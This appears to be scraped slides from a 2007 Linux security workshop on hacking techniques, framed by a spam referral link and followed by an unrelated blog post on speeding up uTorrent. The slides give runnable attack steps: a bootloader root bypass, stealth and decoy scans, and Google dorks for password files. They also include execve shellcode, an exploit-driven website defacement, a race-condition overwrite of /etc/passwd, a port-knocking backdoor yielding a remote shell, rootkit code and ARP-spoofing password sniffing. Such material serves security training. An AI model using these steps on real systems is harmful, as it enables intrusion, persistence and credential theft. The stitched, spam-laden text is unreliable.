Get PAid To Be online : - Guranted payments....... http://tickerbar.info/join_now.ghc?r=210402333 Visit Now

Hacking Techniques
Attackers
Hackers
Spies
Terrorists
Insider
Prof. Crimminaly
Vandals
Objectives
Challange, Status
Political Gain
Financial Gain
Damage
01./02.02.2007 linuxdays.lu 2007 4
Hacking Techniques
Script Kiddies
Hackers
Geek
Stupid Users
Automated Scripts / Viruses / Botnet / Spam
01./02.02.2007 linuxdays.lu 2007 5
Hacking Techniques
- High profile targets:
-- Banks
-- Military
-- Universities
-- Telecom / internet Provide
--Private PC’s / Enduser
-- Botnet
-- Spam
-- Homebanking Data
01./02.02.2007 linuxdays.lu 2007 6
Hacking Techniques
Most often Security problems:
(Source: CSI/FBI Computer Crime and Security Survey)
Virus
Insider
theft Laptop
Deial of Service
Unauthorised
WLAN
Hacking
01./02.02.2007 linuxdays.lu 2007 7
Hacking Techniques
➤Network based System Hacking
➤Web Server Hacking
➤Physically enter the Target Building
➤WLAN (Wireless LAN) Hacking
➤War Dialling
➤Sniffing
➤Social Engineering
➤Viruses
01./02.02.2007 linuxdays.lu 2007 8
Exercise:
-- physical access = root rights --
1. Interupt the bootloader by pressing >> e <<
2. Select the kernel line and press >> e <<
3. add >> init=/bin/bash <<>
4. kernel /vmlinuz-2.6.8 root=/dev/hda4 ro init=/bin/bash
5. Press >> Enter <<
6. Press >> b <<>
7. mount –o remount,rw /dev/hda4
8. passwd hamm ( password: test123)
9. passwd (password: test123)
10.sync
11.mount –o remount,ro /dev/hda4
12.shutdown –rn now
13.Login as user hamm & launch vmware; start all VM from top down
01./02.02.2007 linuxdays.lu 2007 9
Hacking Techniques
1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
01./02.02.2007 linuxdays.lu 2007 10
Footprinting
-- Information Gathering --
➤ visit targets’ websites
➤ review HTML Code, JavaScript and Comments & robots.txt
➤ search for passwords, hidden directories, contact names
➤ Dumpster Diving
Quotation Bill Gates in: Susan Lammers; Programmers at Work
Tempus Books; Reissue Edition, 1989
„No, the best way to prepare is to write programs, and to study
great programs that other people have written. In my case, I went
to the garbage cans at the Computer Science Centre and I fished
out listings of their operating system.“
01./02.02.2007 linuxdays.lu 2007 11
Footprinting
-- Information Gathering --
➤ whois request at the Network Information Centre
-- receive information about IP address ranges
-- Names and EMail addresses of responsibles
whois -h whois.dns.lu linuxdays.lu
domainname: linuxdays.lu
nserver: arthur.tudor.lu
nserver: dorado.tudor.lu
org-name: Centre de Recherche Public Henri Tudor
adm-email: pierre.plumer@crpht.lu
tec-name: Xavier Detro
tec-email: xavier.detro@tudor.lu
Important whois domains:
- RIPE (Europe & N-Africa) - APNIC (Asia Pacific)
- ARIN (N-America & S-Africa) - LACNIC (Latin America)
01./02.02.2007 linuxdays.lu 2007 12
Footprinting
-- Exercise Information Gathering --
➤ DNS Lookup
-- use nslookup tools to receive informations about DNS-
& EMAIL Server, looking for names like Oracle, TestLinux, ....
-- try a zone transfer
➤ Footprinting by DNS: nslookup(1); host(1); dig(1);
# nslookup
> server 192.168.22.22
> www.mumm.lu
> set type=mx
> mumm.lu
> set type=any
> mumm.lu
> ls –d mumm.lu # try zone transfer
> exit
# dig @192.168.22.22 mumm.lu axfr # Zonetransfer
01./02.02.2007 linuxdays.lu 2007 13
Footprinting
-- Information Gathering --
➤whois tools:
-- Sam Spade www.samspade.org
-- Smart Whois www.tamos.com
-- Netscan www.netscantools.com
-- GTWhois www.geektools.com
-- http://www.all-nettools.com/toolbox
➤DNS must reads:
-- RFC 1912 Common DNS Errors
-- RFC 2182 Secondary DNS Servers
-- RFC 2219 Use of DNS Aliases
01./02.02.2007 linuxdays.lu 2007 14
Footprinting
-- Information Gathering --
➤ footprinting @ google
➤ news group articles of employees @
➤ search business partners link:
➤ site: intitle:index.of
➤ site: error | warning
➤ site: login | logon
➤ site: username | userid
➤ site: password
➤ site: admin | administrator
➤ site: inurl:backup | inurl:bak
➤ site: intranet
01./02.02.2007 linuxdays.lu 2007 15
Google Hacking
-- Introduction --
The Beginnings:
www.theregister.co.uk/2001/11/28/the_google_attack_engine/
Link points to a Switch of a .gov Network
Google not 'hackers' best friend‘ -- ww.vnunet.com/News/1127162
Index.of +banques +filetype:xls
Johnny (I hack stuff) Long
‘Google Hacking for Penetration Testers’
Google Hacking Database http://johnny.ihackstuff.com
12.03.2006 Chicago Tribune
http://www.heise.de/newsticker/meldung/70752
2600 CIA Agents discovered via Search Engine
01./02.02.2007 linuxdays.lu 2007 16
Google Hacking
-- Introduction --
What to know:
Advanced Operands:
site:
inurl:
filetype:
intitle:
intext:
…… Google as an ‘
Anonymous Proxy’
Google Cache
&strip=1
01./02.02.2007 linuxdays.lu 2007 17
Google Hacking
-- Introduction --
What to know:
The Power of combining Advanced Operands:
site:heise.de –site:www.heise.de
-- shows all websites NOT from the official Webserver
-- maps nre hostnames without contacting target network
-- wap.heise.de, chat.heise.de, www.tb.heise.de, …
Offline Analysis of the search result:
-- www.sensepost.com/research_misc.html
-- SOAP Google API
01./02.02.2007 linuxdays.lu 2007 18
Google Hacking
-- Introduction --
What to find:
The Google Hacking Database (johnny.ihackstuff.com):
-- Directory Listings à Hidden/Private Files
intitle:index.of ‘parent directory’
intitle:index.of.admin
intitle:index.of inurl:admin
intitle:index.of ws_ftp.log
-- Error Messages of Scripts
‘Fatal error: call to undefined function’
–reply –the –next
‘Warning: Failed opening’ include_path
-- Search for vulnerable Scripts
inurl:guestbook/guestbooklist.asp
‘Post Date’ ‘From Country’
-- Search for Backups
filetype:bak inurl:php.bak
filetype:bak inurl:php.bak
-- Search for:
--- Printers; --- Webcams; --- Intranet Sites;
--- Network Tools Ntop, MRTG; --- Databases
01./02.02.2007 linuxdays.lu 2007 19
Google Hacking
-- Exercise --
Livecycle of a Google Hack:
1. Security Problem deicovered on online product;
2. Analyse online product
3. Find typical string
4. Create a google request
5. Find vulnerable websites
Examples:
-- inurl:php.bak mysql_connect mysql_select_db
-- ext:pwd inurl:(service | authors | administrators | users)
"# -FrontPage-“
-- "index of/" "ws_ftp.ini" "parent directory“
-- !Host=*.* intext:enc_UserPassword=* ext:pcf
-- "admin account info" filetype:log
-- enable password | secret "current configuration“
-intext:the
01./02.02.2007 linuxdays.lu 2007 20
Preparation
anonymity doesn’t exist
➤ break systems in different countries / time zones
➤ install network multipurpose tools like netcat or backdoors
➤ hop from host to host to get anonymity
01./02.02.2007 linuxdays.lu 2007 21
Hacking Techniques
1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
01./02.02.2007 linuxdays.lu 2007 22
Scanning
-- Goals --
➤ mapping of the target network
➤ use system tools like traceroute & ping
➤ Visual Tools: NeoTrace (Visual Trace) & Visual Route
➤ finding the range of IP addresses
➤ discerning the subnet mask
➤ identify network devices like firewalls & routers
➤ identify servers
➤ mapping of the reachable services
➤ detecting `live` hosts on target network
➤ discovering services / listening ports / portscan; nmap;
➤ identifying operating system & services
➤ identify application behind services & patch level
01./02.02.2007 linuxdays.lu 2007 23
Scanning
-- Network Mapping --
Nmap: find living hosts
$ su –
# ns_mumm
# cat /etc/resolve.conf
# nmap –sL www.mumm.lu/27 # List Scan
(only do nslookup for the IP rage)
# nmap –-packet_trace –sP www.mumm.lu/27 # ICMP/TCP
(send ICMP Echo Request and ACK to Port 80
if RST is received à host is alive / unfiltered )
# nmap –n –P0 –sU –g 53 –p 53 –T polite www.mumm.lu/27
( UDP Scans are alomost NOT usefully; -g 53 = sourceport
-P0 = don’t PingScan first; -T polite = scan speed)
-sF, -sX, -sN, –sA, # not usable
FIN-, XMAS-, Null-, ACK- Scan # today
01./02.02.2007 linuxdays.lu 2007 24
Scanning
-- Port Scanning --
Nmap: port scan (connect scan)
# nmap –n –sT –P0 –p 80 192.168.22.21,22,24
# nmap –n –sT –P0 –p 110 192.168.22.21,22,24
SYN
SYN/ACK
ACK
SYN
RST/ACK
RST/ACK
Port open
Port closed
01./02.02.2007 linuxdays.lu 2007 25
Scanning
-- Port Scanning --
Nmap: port scan (stealth scan)
# nmap –n –sS –P0 –p 80 192.168.22.21,22,24
# nmap –n –sS –P0 –p 110 192.168.22.21,22,24
SYN
SYN/ACK
RST
SYN
RST/ACK
Port open
Port closed
01./02.02.2007 linuxdays.lu 2007 26
Scanning
-- Port Scanning --
Nmap: port scan
# nmap –n –sT –P0 –p 20-25,80,443 192.168.22.21,22,24
# nmap –n –sS –P0 –p 20-25,80,443 192.168.22.21,22,24
Techniques to stay anonymous:
silent scan:
# nmap –n –sT –P0 –T sneaky –p 20-25,80 192.168.22.22
fragmentation scan
# nmap –n –P0 –f –p 20-25,80 192.168.22.22
decoy scan
# nmap –n -P0 –D 1.1.1.1,2.2.2.2,ME,3.3.3.3 –p 80
01./02.02.2007 linuxdays.lu 2007 27
Scanning
-- Exercise --
Scan the MUMM.LU network:
01./02.02.2007 linuxdays.lu 2007 28
Advanced Scanning
-- IP-ID Idle Scan --
Exercise: Who the hell is scanning you?
target perform:
# tcpdump –n –i eth0 host 192.168.4.
attacker perform: (idle_scan)
01./02.02.2007 linuxdays.lu 2007 29
Advanced Scanning
-- IP-ID Idle Scan --
- based on IP-ID prediction
- example with hping2 –SA –p 80 –c 5
- all packets have Fragment-ID Number
- every new packet increases the IP ID Number
- by most systems IP ID + 1
- this is exploitable
- by monitoring the IP ID value of a host
- you know how many packets he sends
- this could be abused for zombie port scanning
01./02.02.2007 linuxdays.lu 2007 30
Advanced Scanning
-- IP-ID Idle Scan --
Step 1: A) send SYN/ACK to Zombie
B) investigate the answer IPID
C) repeate A) and B) multiple times, verify quality of Zombie
IP-ID Probe -> SYN/ACK
Response -> RST; IPID=3
IP-ID Probe -> SYN/ACK Zombie
Response -> RST; IPID=4
IP-ID Probe -> SYN/ACK
Response -> RST; IPID=5
IP-ID Probe -> SYN/ACK
Response -> RST; IPID=2
01./02.02.2007 linuxdays.lu 2007 31
Advanced Scanning
-- IP-ID Idle Scan --
Step 2: A) Send SYN to target BUT spoof the Source IP Adress,
claim to be the Zombie
B) open port: Target send SYN/ACK to Zombie
C) open port: Zombie send RST and increase IPID to Target
SYN;
Port=80;
SRC IP =
SYN/ACK
Zombie
Target
RST; IPID=6
01./02.02.2007 linuxdays.lu 2007 32
Advanced Scanning
-- IP-ID Idle Scan --
Step 2: A) Send SYN to target BUT spoof the Source IP Adress,
claim to be the Zombie
B) close port: Target simply send a RST to the Zombie
SYN;
Port=80;
SRC IP =
RST
Zombie
Target
01./02.02.2007 linuxdays.lu 2007 33
Advanced Scanning
-- IP-ID Idle Scan --
Step 3: A) send SYN/ACK to Zombie
B) investigate the answer IPID
If IPID = 6 à port was close
If IPID = 7 à port was open
IP-ID Probe -> SYN/ACK
Response -> RST; IPID=7
Zombie
01./02.02.2007 linuxdays.lu 2007 34
Advanced Scanning
-- IP-ID Idle Scan --
IP ID Idle Scan with nmap
# nmap –n –P0 –p20-25,80,443 –sI
# nmap –n –P0 –p20-25,80,443 –sI 10.10.10.10 10.10.11.11
01./02.02.2007 linuxdays.lu 2007 35
Scanning
-- Identifying Services --
Banner Grabbing & Version Mapping:
- What services are bound to the port:
-- identifying service / protocoll;
-- identifying Server-Software;
-- identifying Version Number;
-- identifying additional Modules etc.
automatic approach
# nmap –n –p 20-25,80,443 –sV 192.168.22.22,25
# nmap –n –p 20-25,80,443 –oM scan1 192.168.22.22,25
# amap –B –i scan1
# amap –i scan1
01./02.02.2007 linuxdays.lu 2007 36
Scanning
-- Identifying Services --
Banner Grabbing & Version Mapping:
manual approach with Netcat
# nc 192.168.22.22 22
# nc 192.168.22.22 80
HEAD / HTTP/1.0
# nc 192.168.22.21 21
# nc 192.168.22.21 80
HEAD / HTTP/1.0
OS Detection
# nmap –O 192.168.22.22,25
# xprobe2 192.168.22.22
# xprobe2 –p tcp:443:open 192.168.22.22
01./02.02.2007 linuxdays.lu 2007 37
Hacking Techniques
1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
01./02.02.2007 linuxdays.lu 2007 38
Gaining Access
-- Where are we now --
At this point we know (without doing something illegal at all):
-- Targets business (products, partners, emplyees)
-- overview of the network topology
-- overview of live servers and open ports
-- services in use, server-software, version numbers
How to proceed:
-- is there a known vulnerability
-- do we know a vulnerability
-- known configuration problems
-- default passwords
prepare attack
-- research on internet for known security holes
-- default passwords; common misconfigurations
-- setup a test environment to practice the attack
-- ideal: fire one single attack
01./02.02.2007 linuxdays.lu 2007 39
Gaining Access
-- prepare attack --
01./02.02.2007 linuxdays.lu 2007 40
Gaining Access
-- prepare attack --
01./02.02.2007 linuxdays.lu 2007 41
Gaining Access
-- prepare attack --
01./02.02.2007 linuxdays.lu 2007 42
Gaining Access
-- prepare attack --
Gaining Access
-- Buffer Overflow --
➤ Stack Based Buffer Overflows
➤ Off-by-One Overflows
➤ Frame Pointer Overwrites
➤ BSS Overflows
➤ Heap Overflows
01./02.02.2007 linuxdays.lu 2007 44
Gaining Access
-- Stack Based Buffer Overflow --
➤ C/C++ problem
➤ programming error
➤ Copy to much variable user input into fixed sized buffer
#include
int main()
{
char name[31];
printf("Please type your name: ");
gets(name);
printf("Hello, %s", name);
return 0;
}
Buffer overflow occur if you enter
`1234567890123456789012345678901234567890`
01./02.02.2007 linuxdays.lu 2007 45
Gaining Access
-- Stack Based Buffer Overflow --
Exploitation:
-- Missing bounds checking
-- Mutiple „unsafe“ functions in libc
-- Executing code in the data/stack segment
-- Creating the to be feed to the application
Memory layout of a process:
Code
Data
Stack high address
low address
no ‘execution’ attribute set
‘read-only’ attribute
LIFO – top of the stack
BSS
Heap
01./02.02.2007 linuxdays.lu 2007 46
Gaining Access
-- Stack Based Buffer Overflow --
-- Stack holding all the information for the function
-- Stack is created at the beginning of a function
-- Stack is released at the end of a function
-- LIFO mechanism to pass arguments to
functions and to reference local variables
void
function (void)
{
[ ... ]
}
int
main (void)
{
int a;
function (argv[1])
[ ... ]
}
Stack
Frame 1
Frame 2 EBP
ESP
EIP: Extended Instruction Pointer
EBP: Extended Base Pointer
ESP: Extended Stack Pointer
POP
PUSH
- function parameters
- local variables
- data to recover previous frame
01./02.02.2007 linuxdays.lu 2007 47
Gaining Access
-- Stack Based Buffer Overflow --
void
function (char *args)
{
char buff[512];
strcpy (buff, args);
}
int
main (int argc, char *argv[])
{
if (argc > 1)
{
function (argv[1]);
} else
printf ("no input\n");
return 0;
}
Stack
function ()
Frame 2
main ()
Frame 1
Return Address
1
2
3
SFP
4
local variables
buff[512]
args
EIP: Extended Instruction Pointer
EBP: Extended Base Pointer
ESP: Extended Stack Pointer
SFP
saved registers
local variables
ESP
saved registers
args
EBP
EIP
Return Address EIP
01./02.02.2007 linuxdays.lu 2007 48
Gaining Access
-- Stack Based Buffer Overflow --
void
function (char *args)
{
char buff[512];
strcpy (buff, args);
}
int
main (int argc, char *argv[])
{
if (argc > 1)
{
function (argv[1]);
} else
printf ("no input\n");
return 0;
}
Stack
1
2
3
4
buff[512]
5
Wrong Return
SFP
args
EBP
saved registers
local variables
saved registers
args
function ()
Frame 2
main ()
Frame 1
Return Address
01./02.02.2007 linuxdays.lu 2007 49
Gaining Access
-- Stack Based Buffer Overflow --
void
function (char *args)
{
char buff[512];
strcpy (buff, args);
}
int
main (int argc, char *argv[])
{
if (argc > 1)
{
function (argv[1]);
} else
printf ("no input\n");
return 0;
}
1
2
3
456
Stack
buff[512]
SFP
args
EBP
saved registers
local variables
saved registers
args
function ()
Frame 2
main ()
Frame 1
Wrong Return
Return Address
01./02.02.2007 linuxdays.lu 2007 50
Gaining Access
-- Stack Based Buffer Overflow --
void
function (char *args)
{
char buff[512];
strcpy (buff, args);
}
int
main (int argc, char *argv[])
{
if (argc > 1)
{
function (argv[1]);
} else
printf ("no input\n");
return 0;
}
Stack
0x0A00
1
2
3
456
0x0800
0x0A00
shellcode 0x0C00
shellcode
nop
nop
0x0A00
0x0A00
function () 0x0A00
Frame 2
main ()
Frame 1
01./02.02.2007 linuxdays.lu 2007 51
Gaining Access
-- Shellcode --
char linux_ia32_shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%a1 */
"\xcd\x80" /* int $0x80 */
Old school payload: bindshell, backconnect
01./02.02.2007 linuxdays.lu 2007 52
Gaining Access
-- Exercise: Web Site defacement --
$ cd /home/hamm/ssl/
$ ls –la
$ ./openSSL 0x73 192.168.22.21 443 –c 40
/usr/bin/whoami
echo "hacked by me….. " > /var/www/html/index.html
- Unprivileged user -> local user privileges escalation
01./02.02.2007 linuxdays.lu 2007 53
Gaining Access
-- Exercise: Web Site defacement --
What do we see on the Firewall???
01./02.02.2007 linuxdays.lu 2007 54
Gaining Access
primary target webserver
-- why they are so vulnerable --
➤complex application
➤multiple subsystems:
application server, scripts, sql-server
➤self made applications:
programmers don’t know how to write secure code
➤Shell-Command-Injection:
bypass commands through the shell
Input: "Alice; rm - rf"
➤SQL-Injection
bypass SQL Commands by User input
Input: "User=Alice' -&Pass=Idontknow"
01./02.02.2007 linuxdays.lu 2007 55
Hacking Techniques
1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
01./02.02.2007 linuxdays.lu 2007 56
Maintaining Access
-- be silent --
➤after a successful initial attack
➤ hide the tracks from logfiles
➤ expand local rights; find vulnerabilities in network
➤ install rootkits, steal password database, start
network sniffer
➤ try same password on other systems
➤ find problems in topology (ex. dual homed hosts)
➤ try to attack the private network
01./02.02.2007 linuxdays.lu 2007 57
Maintaining Access
Privileges Escalation
-- Race Condition --
what could I try to attack?
- SUID / SGID binaries
find / -perm –4000 –type f –user root –print
find / -perm –2000 –type f –group root –print
- privileged process
- Kernel
- password file
Source of problems?
- configuration error
- local software vulnerabilities
-- buffer overflow
-- race condition
-- format string
01./02.02.2007 linuxdays.lu 2007 58
Maintaining Access
Privileges Escalation
-- example: race_bug --
#include
#include
int
main (int argc, char *argv[])
{
char path[] = "/tmp/race.txt"
FILE *fp;
fp = fopen (path, "a+");
fprintf (fp, "%s\n", argv[1]);
fclose (fp);
unlink (path);
return 0;
}
01./02.02.2007 linuxdays.lu 2007 59
Maintaining Access
Privileges Escalation
-- example: race_bug --
Prepare attack
$ cd /home/hamm/race
$ ls –la
$ ./race_bug test
$ ls –la /tmp
$ cat /etc/passwd
$ su -; cp /etc/passwd /etc/passwd.bak; exit
Attak:
$ ln –s /etc/passwd /tmp/race.txt
$ ls –la /tmp
$ cat command
$ ./command
$ ls –la /tmp
$ cat /etc/passwd
$ su – bimbam
# id
01./02.02.2007 linuxdays.lu 2007 60
Maintaining Access
Privileges Escalation
-- Exercise: privileges escalation --
$ su –
# cd /home/hamm/ssl/
# ls –la
# cp p /tftpboot
# /etc/init.d/atftpd start
# exit
$ ./openSSL 0x73 192.168.22.21 443 –c 40
/usr/bin/whoami
pwd
/usr/bin/tftp 192.168.22.1
mode binary # local root exploit
get p # kernel 2.2.x 2.4.x
quit
ls –l
chmod +x p
ls –l
./p
whoami
01./02.02.2007 linuxdays.lu 2007 61
Maintaining Access
Port Knocking
-- introduction --
Aka Port Knocking Back Door
- Open Port?????
- no promisc mode, no open ports
- raw sockets
- trigger for special packets to get activated
- attacker:
-- send trigger pkg1
-- send trigger pkg2
-- send trigger pkg3
-- send command pkg1
- example: Sadoor
http://cmn.listptojects.darklab.org
Port 80, 443 open; statefull
01./02.02.2007 linuxdays.lu 2007 62
Maintaining Access
Port Knocking
-- Sadoor example --
Sadoor daemon configuration: /etc/sadoor/sadoor.pkts
# key 1
keypkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
icmp {
type = 8;
}
}
}
# key 2
keypkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
tcp {
flags = SYN;
dport = 80;
sport = 3456;
}
}
}
01./02.02.2007 linuxdays.lu 2007 63
Maintaining Access
Port Knocking
-- Sadoor example --
Sadoor daemon configuration: /etc/sadoor/sadoor.pkts
# key 3
keypkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
udp {
dport = 111;
data { bim\x20bam }
}
}
}
# command
cmdpkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
tcp {
sport = 80;
sport = 12345;
}
}
}
01./02.02.2007 linuxdays.lu 2007 64
Maintaining Access
Port Knocking
-- Sadoor example --
Create a config-image database
and download it to /home/hamm/.sash
mksadb
mv sadoor.db /var/www/html/
chmod 644 /var/www/html/sadoor.db
Run the daemon
/usr/sbin/sadoor
Review logging
tail –f /etc/sadoor/sadoor.log
01./02.02.2007 linuxdays.lu 2007 65
Maintaining Access
Port Knocking
-- Sadoor example --
ON CLIENT side:
1. Download http://testwww.mumm.lu/sadoor.db
2. become root
cd
cd .sash
mv /home/hamm/sadoor.db .
sadbcat sadoor.db sash.db # create encrypted db
rm –f sadoor.db # delete plain sequence
3. Sending commands
sash 192.168.22.24 \
–vv –r "cat /etc/passwd > /var/www/html/test.txt"
sash 192.168.22.24 "chmod 644 /var/www/html/test.txt"
4. Establish a connection / remote shell
sash 192.168.22.24 –vv
sh-2.05b# whoami
sh-2.05b# /sbin/ifconfig
sh-2.05b# exit
01./02.02.2007 linuxdays.lu 2007 66
Hacking Techniques
1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
01./02.02.2007 linuxdays.lu 2007 67
Clearing Tracks
Rootkits
-- introduction --
Main goals of a rootkit:
- hide activities of an attacker to the legal administrator
-- active processes
-- directories & files
-- network activities
- provide a backdoor to the system
- let the attacker become root whenever he want
- collect sensitive data
-- from network
-- from user input
01./02.02.2007 linuxdays.lu 2007 68
Clearing Tracks
Rootkits
-- introduction --
1th generation: Binary Rootkits
- replace important system tools by modified versions:
-- du(1), locate(1), netstat(1), ps(1), top(1),
-- ifconfig(1), w(1), who(1), …..
- defined parameters will become invisible in the future:
-- IP Addresses
-- directories & files
-- usernames
- easy to discover:
-- by filesystem inegrity checker: -- tripwire, -- aide
- examples: Irk3-6, (Linux), Fbrk (FreeBSD), Solaris Rootkit
01./02.02.2007 linuxdays.lu 2007 69
Clearing Tracks
Rootkits
-- introduction --
2th generation: LKM (Loadable Kernel Modules) Rootkits
- expand the functionality of the kernel
- can be loaded dynamically: insmod(3), rmmod(3)
- implemented as device driver
-> high level of flexibility
- implementations:
-- new modules
-- infecting existing modules
- result: trojaned kernel à full control over all userland apps.
01./02.02.2007 linuxdays.lu 2007 70
Clearing Tracks
Rootkits
-- introduction --
2th generation: LKM (Loadable Kernel Modules) Rootkits
- syscalls: a gate between userland and kernel
- example for syscalls: trace /bin/ls
execve(…
uname(…
brk(0)
old_mmap(…
access(…
open(…
open(…
……
01./02.02.2007 linuxdays.lu 2007 71
Clearing Tracks
Rootkits
-- introduction --
2th generation: LKM (Loadable Kernel Modules) Rootkits
- normal syscall:
parameter into
registers int 80
selection of the
interrupt handler
Interrupt handler:
syscall selection
Exec syscall
example: mkdir
Userland
Kernel
Interrupt Descriptor Table
(IDT)
Syscall Table
01./02.02.2007 linuxdays.lu 2007 72
Clearing Tracks
Rootkits
-- introduction --
2th generation: LKM (Loadable Kernel Modules) Rootkits
- manipulated syscall:
parameter into
registers int 80
selection of the
interrupt handler
Interrupt handler:
syscall selection
Exec syscall
example: mkdir
Userland
Kernel
Interrupt Descriptor Table
(IDT)
Syscall Table
Exec syscall
manipluated: mkdir
01./02.02.2007 linuxdays.lu 2007 73
Clearing Tracks
Rootkits
-- introduction --
2th generation: LKM Rootkit: Exercise: mkdir_Rootkit
#define MODULE /* the new mkdir syscall */
#define __KERNEL__ int hack_mkdir (const char *path) {
printk ("BimBam!\n");
#include return 0;
#include }
#include
#include int init_module (void) {
#include orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hack_mkdir;
MODULE_LICENSE("GPL"); return 0;
}
/* import syscall table */
extern void *sys_call_table[]; void cleanup_module (void) {
sys_call_table[SYS_mkdir]=hack_mkdir;
/* dummy for old mkdir syscall */ }
int (*orig_mkdir) (const char *path);
01./02.02.2007 linuxdays.lu 2007 74
Clearing Tracks
Rootkits
-- introduction --
2th generation: LKM Rootkit: Exercise: mkdir_Rootkit
cd /root/rootkit/mkdir
gcc –c –I /usr/src/linux/include mkdir.c
insmod mkdir.o
lsmod
mkdir test
ls –la
cat /var/log/messages
rmmod mkdir
lsmod
mkdir test
ls –la
Clearing Tracks
Root kits
-- introduction --
2th generation: LKM Rootkit: Adore
cd /root/rootkit/adore/
insmod adore.o
lsmod
insmod cleaner.o
lsmod
rmmod cleaner
lsmod
ps aux | grep ssh
./ava i
ps aux | grep ssh
netstat –punta | grep 22
mkdir /root/rootkit/bimbam
./ava h /root/rootkit/bimbam
ls –la /root/rootkit
./ava –U dummy
01./02.02.2007 linuxdays.lu 2007 76
Clearing Tracks
Rootkits
-- introduction --
3th generation: (Virtual File System) VFS Layer Rootkit
- sys_call_table is not exported anymore
-- Red Hat 8.0 (Kernel 2.4.18)
-- Kernel 2.5.41 à
- all Syscalls which access the Filesystem make use of
the Virtual File System
- in Unix, most of all is handled like a file
- existing Handler-Routines are replaced by modified one
à files/folder could be hidden
à via /proc hidding of processes
01./02.02.2007 linuxdays.lu 2007 77
Clearing Tracks
Rootkits
-- introduction --
3th generation: (Virtual File System) VFS Layer Rootkit
parameter into
registers int 80
selection of the
interrupt handler
Interrupt handler:
syscall selection
Userland
Kernel
Interrupt Descriptor Table
(IDT)
Syscall Table
ext2/ ext3/ ...
VFS
Syscall
01./02.02.2007 linuxdays.lu 2007 78
Hacking Techniques
Insider Attacks
01./02.02.2007 linuxdays.lu 2007 79
Insider Attacks
-- Password Sniffing true a Switch --
Default Gateway
IP: 10.10.10.1
MAC: 11:11:11:11:11:11
IP: 10.10.10.99
MAC: 99:99:99:99:99:99
Attacked PC
IP: 10.10.10.2
MAC: 22:22:22:22:22:22
ARP Reply IP 10.10.10.1 MAC 99:99:99:99:99:99
No gratuitous ARP, BUT directed ARP:
ETHERNET II
Dst: 22:22:22:22:22:22
SRC: 99:99:99:99:99:99
ARP reply:
Sender IP addr: 10.10.10.1
Sender MAC addr: 99:99:99:99:99:99
01./02.02.2007 linuxdays.lu 2007 80
Insider Attacks
-- Password Sniffing true a Switch --
Telnet Client:
IP: 192.168.3.3
IP: ___.___.___.___
Telnet Server:
IP: 192.168.3.4
IP: ___.___.___.___
Exercise:
1. echo 1 > /proc/sys/net/ipv4/ip_forward
2. arpspoof –i eth0 –t 192.168.4.30 192.168.4.28
3. dsniff -cn
Attacker:
IP: 192.168.3.2
MAC: 00:08:74:B3:BB:F1
IP: ___.___.___.___
MAC: __:__:__:__:__:__
01./02.02.2007 linuxdays.lu 2007 81
Insider Attacks
SSH MitM Attack
-- by DNS Spoofing --
SSH Server:
IP: 192.168.3.3
DNS Server:
IP: 158.64.4.
Default Gateway:
IP: 192.168.3.1
Attacker:
IP: 192.168.3.2
Target: SSH Client:
IP: 192.168.3.xx
DNS Response (server_xyz.lu, 192.168.3.2)
DNS Query (HOST: server_xyz.lu)
01./02.02.2007 linuxdays.lu 2007 82
Insider Attacks
SSH MitM Attack
-- by DNS Spoofing --
01./02.02.2007 linuxdays.lu 2007 83
Insider Attacks
SSH MitM Attack
-- by DNS Spoofing --
SSH Server:
IP: 192.168.3.3
DNS Server:
IP: 158.64.4.
Default Gateway:
IP: 192.168.3.1
Attacker:
IP: 192.168.3.2
Target: SSH Client:
IP: 192.168.3.xx
01./02.02.2007 linuxdays.lu 2007 84
Hacking for Admins
by


$UMIT{Fainted Brain}

The latest file sharing protocol bittorrent has modified everything when it comes to file sharing. It is a nice platform for downloading large files. Sharing of files include movies, iso images and MP3 songs. Bittorent is mainly famous for illegal file sharing .
The Bittorrent system can be slow at times due to heavy traffic. so let us tweak bittorrent sharing program a little bit.
There are a lot of different bittorrent clients that you can download. I think the best are BitCommet and uTorrent. Here is a few tips to speed up uTorrent Client. Similar can be implemented on any other torrent clients ,which you are using.
Step 1: Increase TCP connections You need to increase the number of TCP connections that are allowed at max.Windows XP Service Pack 2 came with the number of allowed open connections to 10. This is to stop any piece of spyware(in our case bittorent client even) from totally taking over your internet connection. TCP connection allowed should be 50 for optimal performance. The best way to increase the maximum number of connections is to apply patch that is available at www.lvllord.de. A nice way to fix this is to download this patch . The little tweak to the torrent client works great in certain times. If you’re using uTorrent go to Options menu then Preferences. In the Preferences go the Advanced Options. In the advanced options change the net.max_halfopen connections to 80. In the same section change the max half open tcp connections to 80. Once your done click on OK and you are all set. This tweak will let the maximum TCP connection available for the bittorrent client. Now start downloading you’ll realize a little difference in the download speed. Port forwarding technique is more effective than this.
A third point of interest is that some “windows updates” revert your tweaked tcp connections back to 10. So it’s wise to check this every now and then. You can check this by going to (in windows xp) Start > Control Panel > Administrative Tools > Event Viewer > System… Look for event 4226 (sort by event).
If there are a lot of daily occurences it’s likely that the max amount of half-open tcp connections was set back to 10. Or you’re infected with some nasty spyware… Step 2:Torrent Client Configuration
